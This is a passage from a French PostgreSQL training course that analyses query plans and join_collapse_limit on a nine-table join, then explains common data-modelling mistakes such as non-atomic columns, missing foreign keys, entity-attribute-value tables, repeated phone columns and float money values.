Buckets: 1048576 Batches: 1 Memory Usage: 29731kB
-> Hash Join (actual time=558.943..1731.833 rows=393841 loops=1)
Hash Cond: (cl.type_client = types_clients.type_client)
-> Hash Join (actual time=558.912..1654.443 rows=393841 loops=1)
Hash Cond: (commandes.client_id = cl.client_id)
-> Hash Join (actual time=533.279..1522.611 rows=393841 loops=1)
Hash Cond: (lc.numero_commande = commandes.numero_commande)
-> Hash Join (actual time=190.050..1073.358 rows=393841 loops=1)
Hash Cond: (lc.numero_lot_expedition = l.numero_lot)
-> Seq Scan on lignes_commandes lc (actual time=0.024..330.462 rows=3141967 loops=1)
-> Hash (actual time=189.059..189.061 rows=125889 loops=1)
Buckets: 262144 Batches: 1 Memory Usage: 6966kB
-> Hash Join (actual time=0.032..163.622 rows=125889 loops=1)
Hash Cond: (l.transporteur_id = transporteurs.transporteur_id)
-> Seq Scan on lots l (actual time=0.016..68.766 rows=1006704 loops=1)
-> Hash (actual time=0.010..0.011 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on transporteurs (actual time=0.006..0.007 rows=1 loops=1)
Filter: ((nom)::text = 'Royal Air Drone'::text)
Rows Removed by Filter: 4
-> Hash (actual time=339.432..339.432 rows=1000000 loops=1)
Buckets: 1048576 Batches: 1 Memory Usage: 55067kB
-> Seq Scan on commandes (actual time=0.028..118.268 rows=1000000 loops=1)
-> Hash (actual time=25.156..25.156 rows=100000 loops=1)
Buckets: 131072 Batches: 1 Memory Usage: 6493kB
-> Seq Scan on clients cl (actual time=0.006..9.926 rows=100000 loops=1)
-> Hash (actual time=0.018..0.018 rows=3 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on types_clients (actual time=0.010..0.011 rows=3 loops=1)
-> Hash (actual time=29.722..29.723 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contacts ct (actual time=17.172..29.716 rows=1 loops=1)
Filter: ((login)::text = 'Beatty_Brahem'::text)
Rows Removed by Filter: 110004
Planning Time: 1.390 ms
Execution Time: 3059.442 m
Le plan se résume ainsi : un premier filtre se fait sur le
transporteur demandé (1 ligne sur 4). Puis toutes les jointures
s’enchaînent, de manière certes peu efficace : toutes les tables sont
parcourues intégralement. Enfin, les 422 709 lignes obtenues sont
jointes à la table contacts
, laquelle a été filtrée sur la
personne demandée (1 ligne sur 110 005).
Le critère sur contact
est de loin le plus
discriminant : on s’attend à ce qu’il soit le premier pris en compte. Le
plan complet montre que les estimations de volumétrie sont pourtant
correctes.
Il y a 9 tables. Avec autant de tables, il faut se rappeler de
l’existence du paramètre join_collapse_limit
. Vérifions que
la valeur est celle par défaut, et testons une autre valeur :
EXPLAIN (ANALYZE, COSTS OFF)
SELECT SUM (reglements.montant) AS somme_reglements
FROM factures
INNER JOIN reglements USING (numero_facture)
INNER JOIN commandes USING (numero_commande)
INNER JOIN clients cl USING (client_id)
INNER JOIN types_clients USING (type_client)
INNER JOIN lignes_commandes lc USING (numero_commande)
INNER JOIN lots l ON (l.numero_lot = lc.numero_lot_expedition)
INNER JOIN transporteurs USING (transporteur_id)
INNER JOIN contacts ct ON (ct.contact_id = cl.contact_id)
WHERE transporteurs.nom = 'Royal Air Drone'
AND login = 'Beatty_Brahem' ;
QUERY PLAN
-------------------------------------------------------------------------------
Aggregate (actual time=533.593..533.601 rows=1 loops=1)
-> Hash Join (actual time=464.437..533.589 rows=4 loops=1)
Hash Cond: ((reglements.numero_facture)::text = (factures.numero_facture)::text)
-> Seq Scan on reglements (actual time=0.011..83.493 rows=1055812 loops=1)
-> Hash (actual time=354.413..354.420 rows=4 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Hash Join (actual time=326.786..354.414 rows=4 loops=1)
Hash Cond: (factures.numero_commande = commandes.numero_commande)
-> Seq Scan on factures (actual time=0.012..78.213 rows=1000000 loops=1)
-> Hash (actual time=197.837..197.843 rows=4 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Hash Join (actual time=118.525..197.838 rows=4 loops=1)
Hash Cond: (l.transporteur_id = transporteurs.transporteur_id)
-> Nested Loop (actual time=49.407..197.816 rows=35 loops=1)
-> Nested Loop (actual time=49.400..197.701 rows=35 loops=1)
-> Hash Join (actual time=49.377..197.463 rows=10 loops=1)
Hash Cond: (commandes.client_id = cl.client_id)
-> Seq Scan on commandes (actual time=0.003..88.021 rows=1000000 loops=1)
-> Hash (actual time=30.975..30.978 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Nested Loop (actual time=20.840..30.976 rows=1 loops=1)
-> Hash Join (actual time=20.823..30.957 rows=1 loops=1)
Hash Cond: (cl.contact_id = ct.contact_id)
-> Seq Scan on clients cl (actual time=0.003..6.206 rows=100000 loops=1)
-> Hash (actual time=16.168..16.169 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contacts ct (actual time=6.660..16.143 rows=1 loops=1)
Filter: ((login)::text = 'Beatty_Brahem'::text)
Rows Removed by Filter: 110004
-> Index Only Scan using types_clients_pkey on types_clients (actual time=0.013..0.013 rows=1 loops=1)
Index Cond: (type_client = cl.type_client)
Heap Fetches: 1
-> Index Scan using lignes_commandes_pkey on lignes_commandes lc (actual time=0.019..0.020 rows=4 loops=10)
Index Cond: (numero_commande = commandes.numero_commande)
-> Index Scan using lots_pkey on lots l (actual time=0.003..0.003 rows=1 loops=35)
Index Cond: (numero_lot = lc.numero_lot_expedition)
-> Hash (actual time=0.009..0.009 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on transporteurs (actual time=0.006..0.007 rows=1 loops=1)
Filter: ((nom)::text = 'Royal Air Drone'::text)
Rows Removed by Filter: 4
Planning Time: 3.168 ms
Execution Time: 533.689 ms
(Le plan complet est sur https://explain.dalibo.com/plan/EQN).
Ce plan est 6 fois plus rapide. La différence essentielle tient dans
le filtre effectué en premier : cette fois, c’est sur
contacts
. Puis toute la chaîne des jointures est à nouveau
remontée, avec beaucoup moins de lignes qu’auparavant. C’est donc plus
rapide, et les Nested Loops et Index Scans deviennent
rentables. L’agrégat ne se fait plus que sur 4 lignes.
Avec le join_collapse_limit
par défaut à 8, PostgreSQL
joignait les 8 premières tables, sans critère de filtrage vraiment
discriminant, puis joignait le résultat à contacts
. En
augmentant join_collapse_limit
, PostgreSQL s’est permis
d’étudier les plans incluants contacts
, sur lesquels porte
le filtre le plus intéressant.
Noter que le temps de planification a plus que doublé, mais il est intéressant de perdre 1 ou 2 ms de planification pour gagner plusieurs secondes à l’exécution.
Si l’on a accès au code de la requête, il est possible de la modifier afin que la table la plus discriminante figure dans les 8 premières tables.
EXPLAIN (ANALYZE, COSTS OFF)
SELECT SUM (reglements.montant) AS somme_reglements
FROM factures
INNER JOIN reglements USING (numero_facture)
INNER JOIN commandes USING (numero_commande)
INNER JOIN clients cl USING (client_id)
INNER JOIN contacts ct ON (ct.contact_id = cl.contact_id) --- jointure déplacée
INNER JOIN types_clients USING (type_client)
INNER JOIN lignes_commandes lc USING (numero_commande)
INNER JOIN lots l ON (l.numero_lot = lc.numero_lot_expedition)
INNER JOIN transporteurs USING (transporteur_id)
WHERE magasin.transporteurs.nom = 'Royal Air Drone'
AND login = 'Beatty_Brahem' ;
QUERY PLAN
-------------------------------------------------------------------------------
Aggregate (actual time=573.108..573.115 rows=1 loops=1)
-> Hash Join (actual time=498.176..573.103 rows=4 loops=1)
Hash Cond: (l.transporteur_id = transporteurs.transporteur_id)
-> Hash Join (actual time=415.225..573.077 rows=35 loops=1)
Hash Cond: ((reglements.numero_facture)::text = (factures.numero_facture)::text)
-> Seq Scan on reglements (actual time=0.003..92.461 rows=1055812 loops=1)
-> Hash (actual time=376.019..376.025 rows=35 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 10kB
-> Nested Loop (actual time=309.851..376.006 rows=35 loops=1)
-> Nested Loop (actual time=309.845..375.889 rows=35 loops=1)
-> Hash Join (actual time=309.809..375.767 rows=10 loops=1)
Hash Cond: (factures.numero_commande = commandes.numero_commande)
-> Seq Scan on factures (actual time=0.011..85.450 rows=1000000 loops=1)
-> Hash (actual time=205.640..205.644 rows=10 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Hash Join (actual time=48.891..205.625 rows=10 loops=1)
Hash Cond: (commandes.client_id = cl.client_id)
-> Seq Scan on commandes (actual time=0.003..92.731 rows=1000000 loops=1)
-> Hash (actual time=27.823..27.826 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Nested Loop (actual time=16.526..27.823 rows=1 loops=1)
-> Hash Join (actual time=16.509..27.804 rows=1 loops=1)
Hash Cond: (cl.contact_id = ct.contact_id)
-> Seq Scan on clients cl (actual time=0.002..6.978 rows=100000 loops=1)
-> Hash (actual time=11.785..11.786 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contacts ct (actual time=4.188..11.781 rows=1 loops=1)
Filter: ((login)::text = 'Beatty_Brahem'::text)
Rows Removed by Filter: 110004
-> Index Only Scan using types_clients_pkey on types_clients (actual time=0.013..0.013 rows=1 loops=1)
Index Cond: (type_client = cl.type_client)
Heap Fetches: 1
-> Index Scan using lignes_commandes_pkey on lignes_commandes lc (actual time=0.008..0.009 rows=4 loops=10)
Index Cond: (numero_commande = factures.numero_commande)
-> Index Scan using lots_pkey on lots l (actual time=0.002..0.002 rows=1 loops=35)
Index Cond: (numero_lot = lc.numero_lot_expedition)
-> Hash (actual time=0.008..0.008 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on transporteurs (actual time=0.006..0.007 rows=1 loops=1)
Filter: ((nom)::text = 'Royal Air Drone'::text)
Rows Removed by Filter: 4
Planning Time: 1.543 ms
Execution Time: 573.169 ms
(Plan complet sur https://explain.dalibo.com/plan/suz)
Le plan redevient très voisin du précédent, sans forcément être aussi optimal que celui ci-dessus. Mais l’inefficacité majeure est corrigée.
La conclusion de cette exercice est que, lorsque c’est possible, il
vaut mieux mettre en première jointure les tables portant les critères
les plus discriminants. Dans le cas où des requêtes contenant de
nombreuses jointures sont générées dynamiquement, qu’elles sont
fréquentes, et si le temps de planification est ridicule par rapport au
gain de l’exécution, alors il est envisageable de monter globalement
join_collapse_limit
(NB: il est aussi possible de
positionner ce paramètre sur le rôle de l’utilisateur ou encore sur les
paramètres de la base).
Cette partie présente différents problèmes fréquemment rencontrés et leurs solutions. Elles ont trait aussi bien à des problèmes courants qu’à des mauvaises pratiques.
Contrairement à une idée assez fréquemment répandue, le terme relationnel ne désigne pas le fait que les tables soient liées entre elles. Les « tables » SONT les relations. On fait référence ici à l’algèbre relationnelle, inventée en 1970 par Edgar Frank Codd.
Les bases de données dites relationnelles n’implémentent habituellement pas exactement cet algèbre, mais en sont très proches. Le langage SQL, entre autres, ne respecte pas l’algèbre relationnelle. Le sujet étant vaste et complexe, il ne sera pas abordé ici. Si vous voulez approfondir le sujet, le livre Introduction aux bases de données de Chris J. Date, est un des meilleurs ouvrages sur l’algèbre relationnelle et les déficiences du langage SQL à ce sujet.
Le modèle relationnel est apparu suite à un constat : les bases de données de l’époque (hiérarchiques) reposaient sur la notion de pointeur. Une mise à jour pouvait donc facilement casser le modèle : doublons simples, données pointant sur du « vide », doublons incohérents entre eux, etc.
Le modèle relationnel a donc été proposé pour remédier à tous ces problèmes. Un système relationnel repose sur le concept de relation (table en SQL). Une relation est un ensemble de faits. Chaque fait est identifié par un identifiant (clé naturelle). Le fait lie cet identifiant à un certain nombre d’attributs. Une relation ne peut donc pas avoir de doublon.
La modélisation relationnelle étant un vaste sujet en soi, nous n’allons pas tout détailler ici, mais plutôt rappeler les points les plus importants.
Il existe une définition mathématique précise de chacune des 7 formes normales.
3FN
Une relation (table) est en troisième forme normale si tous les attributs (colonnes) dépendent de la clé (primaire), de toute la clé (pas d’un sous-ensemble de ses colonnes), et de rien d’autre que de la clé (une colonne supplémentaire).
Si vos tables vérifient déjà ces trois points, votre modélisation est probablement assez bonne.
Voir l’article wikipedia présentant l’ensemble des formes normales.
Un attribut (colonne) doit être atomique :
WHERE
Non respect = violation de la première forme normale
L’exemple suivant utilise une table voiture
. Les deux
tables voitures
et voitures_ecv
peuvent être
téléchargées installées comme suit :
createdb voitures
curl -kL https://dali.bo/tp_voitures -o /tmp/voitures.dmp
pg_restore -d voitures /tmp/voitures.dmp
# un message sur le schéma public préexistant est normal
Ne pas oublier d’effectuer un VACUUM ANALYZE
.
Immatriculation | Modèle | Caractéristiques |
---|---|---|
NH-415-DG | twingo | 4 roues motrices,toit ouvrant, climatisation |
EO-538-WR | clio | boite automatique,abs,climatisation |
Cette modélisation viole la première forme normale (atomicité des
attributs). Si on recherche toutes les voitures qui ont l’ABS, on va
devoir utiliser une clause WHERE
de ce type :
ce qui sera évidemment très inefficace.
Par ailleurs, on n’a évidemment aucun contrôle sur ce qui est mis
dans le champ caractéristiques
, ce qui est la garantie de
données incohérentes au bout de quelques jours (heures ?) d’utilisation.
Par exemple, rien n’empêche d’ajouter une ligne avec des
caractéristiques similaires légèrement différentes, comme « ABS »,
« boîte automatique ».
Ce modèle ne permet donc pas d’assurer la cohérence des données.
Column | Type | Description
----------------+---------+------------------------------------
immatriculation | text | Clé primaire
modele | text |
couleur | color | Couleur vehicule (bleu,rouge,vert)
abs | boolean | Option anti-blocage des roues
type_roue | boolean | tole/aluminium
motricite | boolean | 2 roues motrices / 4 roues motrices
Plusieurs valeurs : contrainte CHECK
/enum/table de
référence
Beaucoup de champs : clé/valeur (plusieurs formes possibles)
Une alternative plus fiable est de rajouter des colonnes
boolean quatre_roues_motrices
, boolean abs
,
varchar couleur
. C’est ce qui est à privilégier si le
nombre de caractéristiques est fixe et pas trop important.
Dans le cas où un simple booléen ne suffit pas, un champ avec une contrainte est possible. Il y a plusieurs méthodes :
CREATE TYPE color AS ENUM ('bleu', 'rouge', 'vert') ;
ALTER TABLE voitures ADD COLUMN couleur color ;
(Les énumérations ne sont pas adaptées à des modifications fréquentes
et nécessitent parfois un transtypage vers du text
).
CREATE TABLE couleurs (
couleur_id int PRIMARY KEY,
couleur text
) ;
ALTER TABLE voitures ADD COLUMN couleur_id REFERENCES couleurs ;
Ce modèle facilite les recherches et assure la cohérence. L’indexation est facilitée, et les performances ne sont pas dégradées, bien au contraire.
Dans le cas où le nombre de propriétés n’est pas aussi bien défini qu’ici, ou est grand, même un modèle clé-valeur dans une associée vaut mieux que l’accumulation de propriétés dans un champ texte. Même une simple table des caractéristiques est plus flexible (voir le TP).
Un modèle clé/valeur existe sous plusieurs variantes (table associée,
champs hstore
ou JSON…) et a ses propres inconvénients,
mais il offre au moins plus de flexibilité et de possibilités
d’indexation ou de validation des données. Ce sujet est traité plus
loin.
Les contraintes d’intégrité et notamment les clés étrangères sont parfois absentes des modèles de données. Les problématiques de performance et de flexibilité sont souvent mises en avant, alors que les contraintes sont justement une aide pour l’optimisation de requêtes par le planificateur, mais surtout une garantie contre de très coûteuses corruption de données logiques.
L’absence de contraintes a souvent des conséquences catastrophiques.
LEFT JOIN
CHECK
pour exclure une
partitionDe plus, l’absence de contraintes va également entraîner des problèmes d’intégrité des données. Il est par exemple très compliqué de se prémunir efficacement contre une race condition2 en l’absence de clé étrangère.
Imaginez le scénario suivant :
Ce cas est très facilement gérable pour un moteur de base de donnée si une clé étrangère existe. Redévelopper ces mêmes contrôles dans la couche applicative sera toujours plus coûteux en terme de performance, voire impossible à faire dans certains cas sans passer par la base de donnée elle-même (multiples serveurs applicatifs accédant à la même base de donnée).
Il peut s’ensuivre des calculs d’agrégats faux et des problèmes applicatifs de toute sorte. Souvent, plutôt que de corriger le modèle de données, des fonctions de vérification de la cohérence des données seront mises en place, entraînant ainsi un travail supplémentaire pour trouver et corriger les incohérences.
Lorsque ces problèmes d’intégrité seront détectés, il s’en suivra également la création de procédures de vérification de cohérence des données qui vont aussi alourdir les développements, entraînant ainsi un travail supplémentaire pour trouver et corriger les incohérences. Ce qui a été gagné d’un côté est perdu de l’autre, mais sous une forme différente.
De plus, les contraintes d’intégrité sont des informations qui garantissent non seulement la cohérence des données mais qui vont également influencer l’optimiseur dans ses choix de plans d’exécution.
Parmi les informations utilisées par l’optimiseur, les contraintes
d’unicité permettent de déterminer sans difficulté la répartition des
valeurs stockées dans une colonne : chaque valeur est simplement unique.
L’utilisation des index sur ces colonnes sera donc probablement
favorisée. Les contraintes d’intégrité permettent également à
l’optimiseur de pouvoir éliminer des jointures inutiles avec un
LEFT JOIN
. Enfin, les contraintes CHECK
sur
des tables partitionnées permettent de cibler les lectures sur certaines
partitions seulement, et donc d’exclure les partitions inutiles.
DEFERRABLE
!Parfois, les clés étrangères sont supprimées simplement parce que des transactions sont en erreur car des données sont insérées dans une table fille sans avoir alimenté la table mère. Des identifiants de clés étrangères de la table fille sont absents de la table mère, entraînant l’arrêt en erreur de la transaction. Il est possible de contourner cela en différant la vérification des contraintes d’intégrité à la fin de la transaction
Une contrainte DEFERRABLE
associée à un
SET CONSTRAINT … DEFERRED
n’est vérifiée que lors du
COMMIT
. Elle ne gêne donc pas le développeur, qui peut
insérer les données dans l’ordre qu’il veut ou insérer temporairement
des données incohérentes. Ce qui compte est que la situation soit saine
à la fin de la transaction, quand les données seront enregistrées et
deviendront visibles par les autres sessions.
L’exemple ci-dessous montre l’utilisation de la vérification des contraintes d’intégrité en fin de transaction.
CREATE TABLE mere (id integer, t text);
CREATE TABLE fille (id integer, mere_id integer, t text);
ALTER TABLE mere ADD CONSTRAINT pk_mere PRIMARY KEY (id);
ALTER TABLE fille
ADD CONSTRAINT fk_mere_fille
FOREIGN KEY (mere_id)
REFERENCES mere (id)
MATCH FULL
ON UPDATE NO ACTION
ON DELETE CASCADE
DEFERRABLE;
La transaction insère d’abord les données dans la table fille, puis ensuite dans la table mère :
BEGIN ;
SET CONSTRAINTS ALL DEFERRED ;
INSERT INTO fille (id, mere_id, t) VALUES (1, 1, 'val1');
INSERT INTO fille (id, mere_id, t) VALUES (2, 2, 'val2');
INSERT INTO mere (id, t) VALUES (1, 'val1'), (2, 'val2');
COMMIT;
Sans le SET CONSTRAINTS ALL DEFERRED
, le premier ordre
serait tombé en erreur.
identifiant / nom_attribut / valeur
Le modèle relationnel a été critiqué depuis sa création pour son manque de souplesse pour ajouter de nouveaux attributs ou pour proposer plusieurs attributs sans pour autant nécessiter de redévelopper l’application.
La solution souvent retenue est d’utiliser une table « à tout faire » entité-attribut-valeur qui est associée à une autre table de la base de données. Techniquement, une telle table comporte trois colonnes. La première est un identifiant généré qui permet de référencer la table mère. Les deux autres colonnes stockent le nom de l’attribut représenté et la valeur représentée.
Ainsi, pour reprendre l’exemple des informations de contacts pour un
individu, une table personnes
permet de stocker un
identifiant de personne. Une table personne_attributs
permet d’associer des données à un identifiant de personne. Le type de
données de la colonne est souvent prévu largement pour faire tenir tout
type d’informations, mais sous forme textuelle. Les données ne peuvent
donc pas être validées.
CREATE TABLE personnes (id SERIAL PRIMARY KEY);
CREATE TABLE personne_attributs (
id_pers INTEGER NOT NULL,
nom_attr varchar(20) NOT NULL,
val_attr varchar(100) NOT NULL
);
INSERT INTO personne_attributs (id_pers, nom_attr, val_attr)
VALUES (1, 'nom', 'Prunelle'),
(1, 'prenom', 'Léon');
(...)
Un tel modèle peut sembler souple mais pose plusieurs problèmes. Le
premier concerne l’intégrité des données. Il n’est pas possible de
garantir la présence d’un attribut comme on le ferait avec une
contrainte NOT NULL
. Si l’on souhaite stocker des données
dans un autre format qu’une chaîne de caractère, pour bénéficier des
contrôles de la base de données sur ce type, la seule solution est de
créer autant de colonnes d’attributs qu’il y a de types de données à
représenter. Ces colonnes ne permettront pas d’utiliser des contraintes
CHECK
pour garantir la cohérence des valeurs stockées avec
ce qui est attendu, car les attributs peuvent stocker n’importe quelle
donnée.
Comment lister tous les DBA ?
id_pers |
nom_attr |
val_attr |
---|---|---|
1 | nom | Prunelle |
1 | prenom | Léon |
1 | telephone | 0123456789 |
1 | fonction | dba |
SELECT id, att_nom.val_attr AS nom,
att_prenom.val_attr AS prenom,
att_telephone.val_attr AS tel
FROM personnes p
JOIN personne_attributs AS att_nom
ON (p.id=att_nom.id_pers AND att_nom.nom_attr='nom')
JOIN personne_attributs AS att_prenom
ON (p.id=att_prenom.id_pers AND att_prenom.nom_attr='prenom')
JOIN personne_attributs AS att_telephone
ON (p.id=att_telephone.id_pers AND att_telephone.nom_attr='telephone')
JOIN personne_attributs AS att_fonction
ON (p.id=att_fonction.id_pers AND att_fonction.nom_attr='fonction')
WHERE att_fonction.val_attr='dba';
Les requêtes SQL qui permettent de récupérer les données requises dans l’application sont également particulièrement lourdes à écrire et à maintenir, à moins de récupérer les données attribut par attribut.
Des problèmes de performances vont donc très rapidement se poser. Cette représentation des données entraîne souvent l’effondrement des performances d’une base de données relationnelle. Les requêtes sont difficilement optimisables et nécessitent de réaliser beaucoup d’entrées-sorties disque, car les données sont éparpillées un peu partout dans la table.
hstore
,
jsonb
Lorsque de telles solutions sont déployées pour stocker des données transactionnelles, il vaut mieux revenir à un modèle de données traditionnel qui permet de typer correctement les données, de mettre en place les contraintes d’intégrité adéquates et d’écrire des requêtes SQL efficaces.
Dans d’autres cas où le nombre de champs est vraiment élevé
et variable, il vaut mieux utiliser un type de données de PostgreSQL qui
est approprié, comme hstore
qui permet de stocker des
données sous la forme clé->valeur
. On conserve ainsi
l’intégrité des données (on n’a qu’une ligne par personne), on évite de
très nombreuses jointures source d’erreurs et de ralentissements, et
même de la place disque.
De plus, ce type de données peut être indexé pour garantir de bons temps de réponses des requêtes qui nécessitent des recherches sur certaines clés ou certaines valeurs.
Voici l’exemple précédent revu avec l’extension
hstore
:
CREATE EXTENSION hstore;
CREATE TABLE personnes (id SERIAL PRIMARY KEY, attributs hstore);
INSERT INTO personnes (attributs) VALUES ('nom=>Prunelle, prenom=>Léon');
INSERT INTO personnes (attributs) VALUES ('prenom=>Gaston,nom=>Lagaffe');
INSERT INTO personnes (attributs) VALUES ('nom=>DeMaesmaker');
id | attributs
----+--------------------------------------
1 | "nom"=>"Prunelle", "prenom"=>"Léon"
2 | "nom"=>"Lagaffe", "prenom"=>"Gaston"
3 | "nom"=>"DeMaesmaker"
Le principe du JSON est similaire.
telephone_1
, telephone_2
Dans certains cas, le modèle de données doit être étendu pour pouvoir
stocker des données complémentaires. Un exemple typique est une table
qui stocke les informations pour contacter une personne. Une table
personnes
ou contacts
possède une colonne
telephone
qui permet de stocker le numéro de téléphone
d’une personne. Or, une personne peut disposer de plusieurs numéros. Le
premier réflexe est souvent de créer une seconde colonne
telephone_2
pour stocker un numéro de téléphone
complémentaire. S’en suit une colonne telephone_3
voire
telephone_4
en fonction des besoins.
Dans de tels cas, les requêtes deviennent plus complexes à maintenir et il est difficile de garantir l’unicité des valeurs stockées pour une personne car l’écriture des contraintes d’intégrité devient de plus en plus complexe au fur et à mesure que l’on ajoute une colonne pour stocker un numéro.
La solution la plus pérenne pour gérer ce cas de figure est de créer
une table de dépendance qui est dédiée au stockage des numéros de
téléphone. Ainsi, la table personnes
ne portera plus de
colonnes telephone
, mais une table telephones
portera un identifiant référençant une personne et un numéro de
téléphone. Ainsi, si une personne dispose de trois, quatre… numéros de
téléphone, la table telephones
comportera autant de lignes
qu’il y a de numéros pour une personne.
Les différents numéros de téléphone seront obtenus par jointure entre
la table personnes
et la table telephones
.
L’application se chargera de l’affichage.
Ci-dessous, un exemple d’implémentation du problème où une table
telephones
dans laquelle plusieurs numéros seront stockés
sur plusieurs lignes plutôt que dans plusieurs colonnes.
CREATE TABLE personnes (
per_id SERIAL PRIMARY KEY,
nom VARCHAR(50) NOT NULL,
pnom VARCHAR(50) NOT NULL,
...
);
CREATE TABLE telephones (
per_id INTEGER NOT NULL,
numero VARCHAR(20),
PRIMARY KEY (per_id, numero),
FOREIGN KEY (per_id) REFERENCES personnes (per_id)
);
L’unicité des valeurs sera garantie à l’aide d’une contrainte
d’unicité posée sur l’identifiant per_id
et le numéro de
téléphone.
Une autre solution consiste à utiliser un tableau pour représenter
cette information. D’un point de vue conceptuel, le lien entre une
personne et son ou ses numéros de téléphone est plus une « composition »
qu’une réelle « relation » : le numéro de téléphone ne nous intéresse
pas en tant que tel, mais uniquement en tant que détail d’une personne.
On n’accédera jamais à un numéro de téléphone séparément : la table
telephones
donnée plus haut n’a pas de clé « naturelle »,
un simple rattachement à la table personnes par l’identifiant de la
personne. Sans même parler de partitionnement, on gagnerait donc en
performances en stockant directement les numéros de téléphone dans la
table personnes
, ce qui est parfaitement faisable sous
PostgreSQL :
CREATE TABLE personnes (
per_id SERIAL PRIMARY KEY,
nom VARCHAR(50) NOT NULL,
pnom VARCHAR(50) NOT NULL,
numero VARCHAR(20)[]
);
-- Ajout d'une personne
INSERT INTO personnes (nom, pnom, numero)
VALUES ('Simpson', 'Omer', '{0607080910}');
per_id | nom | pnom | numero
--------+---------+------+--------------
1 | Simpson | Omer | {0607080910}
-- Ajout d'un numéro de téléphone pour une personne donnée :
UPDATE personnes
SET numero = numero || '{0102030420}'
WHERE per_id = 1;
per_id | nom | pnom | numero
--------+---------+------+-------------------------
1 | Simpson | Omer | {0607080910,0102030420}
ARRAY
ou un type
compositeCertaines applications, typiquement celles récupérant des données temporelles, stockent peu de colonnes (parfois juste date, capteur, valeur…) mais énormément de lignes.
Dans le modèle MVCC de PostgreSQL, chaque ligne utilise au bas mot 23
octets pour stocker xmin
, xmax
et les autres
informations de maintenance de la ligne. On peut donc se retrouver avec
un overhead représentant la majorité de la table. Cela peut
avoir un fort impact sur la volumétrie :
CREATE TABLE valeurs_capteur (d timestamp, v smallint);
-- soit 8 + 2 = 10 octets de données utiles par ligne
-- 100 valeurs chaque seconde pendant 100 000 s = 10 millions de lignes
INSERT INTO valeurs_capteur (d, v)
SELECT current_timestamp + (i%100000) * interval '1 s',
(random()*200)::smallint
FROM generate_series (1,10000000) i ;
pg_size_pretty
----------------
422 MB
-- dont seulement 10 octets * 10 Mlignes = 100 Mo de données utiles
Il est parfois possible de regrouper les valeurs sur une même ligne
au sein d’un ARRAY
, ici pour chaque seconde :
CREATE TABLE valeurs_capteur_2 (d timestamp, tv smallint[]);
INSERT INTO valeurs_capteur_2
SELECT current_timestamp+ (i%100000) * interval '1 s' ,
array_agg((random()*200)::smallint)
FROM generate_series (1,10000000) i
GROUP BY 1 ;
pg_size_pretty
----------------
25 MB
-- soit par ligne :
-- 23 octets d'entête + 8 pour la date + 100 * 2 octets de valeurs smallint
Dans cet exemple, on économise la plupart des entêtes de ligne, mais aussi les données redondantes (la date), et le coût de l’alignement des champs. Avec suffisamment de valeurs à stocker, une partie des données peut même se retrouver compressée dans la partie TOAST de la table.
La récupération des données se fait de manière à peine moins simple :
L’indexation des valeurs à l’intérieur du tableau nécessite un index GIN :
QUERY PLAN
---------------------------------------------------------------------------------
Bitmap Heap Scan on valeurs_capteur_2 (cost=311.60..1134.20 rows=40000 width=232)
(actual time=8.299..20.460 rows=39792 loops=1)
Recheck Cond: ('{199}'::smallint[] && tv)
Heap Blocks: exact=3226
-> Bitmap Index Scan on tvx (cost=0.00..301.60 rows=40000 width=0)
(actual time=7.723..7.723 rows=39792 loops=1)
Index Cond: ('{199}'::smallint[] && tv)
Planning time: 0.214 ms
Execution time: 22.386 ms
Évidemment cette technique est à réserver aux cas où les données mises en tableau sont insérées et mises à jour ensemble.
Le maniement des tableaux est détaillé dans la documentation officielle.
Tout cela est détaillé et mesuré dans ce billet
de Julien Rouhaud. Il évoque aussi le cas de structures plus
complexes : au lieu d’un hstore
ou d’un ARRAY
,
on peut utiliser un type qui regroupe les différentes valeurs.
Une autre option, complémentaire, est le partitionnement. Il peut être géré manuellement (tables générées par l’applicatif, par date et/ou par source de données…) ou profiter des deux modes de partitionnement de PostgreSQL. Il n’affectera pas la volumétrie totale mais permet de gérer des partitions plus maniables. Il a aussi l’intérêt de ne pas nécessiter de modification du code pour lire les données.
Tables à plusieurs dizaines, voire centaines de colonnes :
Il arrive régulièrement de rencontrer des tables ayant énormément de
colonnes (souvent à NULL
d’ailleurs). Cela signifie qu’on
modélise une entité ayant tous ces attributs (centaines d’attributs). Il
est très possible que cette entité soit en fait composée de
« sous-entités », qu’on pourrait modéliser séparément. On peut
évidemment trouver des cas particuliers contraires, mais une table de ce
type reste un bon indice.
Surtout si vous trouvez dans les dernières colonnes des attributs
comme attribut_supplementaire_1
…
real
ou double
(float
)money
numeric
pour les calculs précis (financiers
notamment)Certaines applications scientifiques se contentent de types flottants
standards, car ils permettent d’encoder des valeurs plus importantes que
les types entiers standards. En pratique, les types
float(x)
correspondent aux types real
ou
double precision
de PostgreSQL.
Néanmoins, les types flottants sont peu précis, notamment pour les applications financières où une erreur d’arrondi n’est pas tolérable. Par exemple :
test=# CREATE TABLE comptes (compte_id serial PRIMARY KEY, solde float);
CREATE TABLE
test=# INSERT INTO comptes (solde) VALUES (100000000.1), (10.1), (10000.2),
(100000000000000.1);
INSERT 0 4
test=# SELECT SUM(solde) FROM comptes;
sum
-----------------
100000100010010
Le type numeric
est alors généralement conseillé. Sa
valeur est exacte et les calculs sont justes.
test=# CREATE TABLE comptes (compte_id serial PRIMARY KEY, solde numeric);
CREATE TABLE
test=# INSERT INTO comptes (solde) VALUES (100000000.1), (10.1), (10000.2),
(100000000000000.1);
INSERT 0 4
test=# SELECT SUM(solde) FROM comptes;
sum
-------------------
100000100010010.5
numeric
(sans autre indication de précision) autorise
même un calcul exact sans arrondi avec des ordres de grandeur très
différents; comme SELECT 1e9999 + 1e-9999 ;
.
Paradoxalement, le type money
